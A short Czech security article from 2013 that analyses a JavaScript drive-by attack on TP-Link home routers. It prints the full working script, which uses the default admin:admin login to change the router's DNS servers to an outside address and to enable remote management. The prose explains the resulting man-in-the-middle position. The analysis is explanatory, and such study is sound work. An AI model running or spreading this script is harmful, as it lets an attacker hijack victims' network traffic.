Útočíme na domácí routery pomocí JavaScriptu

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: ScheRas
Datum: 28.11.2013
Hodnocení/Hlasovalo: 1/1

Internetoví zločinci se pomocí JavaScriptu snaží měnit nastavení DNS serverů u domácích routerů a tím se stát prostředníkem mezi uživatelem a internetem.

Skript, který je za celý útok zodpovědný, nezabere, i v případě, že se hodně snažím, ani 20 řádků. Funguje na jednoduchém principu, totiž nejdříve ověří dostupnost routeru načtením http://admin:admin@192.168.1.1/images/logo.jpg a v případě úspěchu přistoupí k samotným změnám konfigurace.

if (MSIE = navigator.userAgent.indexOf("MSIE") == -1) {
    document.writeln("<div style='display:none'>");

    function ip1() {
        i = new Image;
        i.src = 'http://192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=58.221.59.217&dnsserver2=114.114.114.114&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced';
    }
    document.write('<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=ip1()>');

    function ip3() {
        ii = new Image;
        ii.src = 'http://192.168.1.1/userRpm/ManageControlRpm.htm?port=11&ip=0.0.0.0&Save=%C8%B7+%B6%A8';
    }
    document.write('<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=ip3()>');
    document.writeln("</div>");
}

Jak si můžeme všimnout, tak útočník předpokládá, že jsou na routeru výchozí přihlašovací údaje a že je přístupný z adresy 192.168.1.1.

Funkce ip1() a ip3() jsou v našem případě zodpovědné za samotnou změnu DNS serverů. Nahrazením DNS serverů se z útočník stává Man-in-the-middle a získává přístup k celé komunikaci své oběti.

Tento skript napadá pouze routery společnosti TP-Link, ale k rozšíření portfolia napadnutelných routerů není potřeba příliš mnoho práce.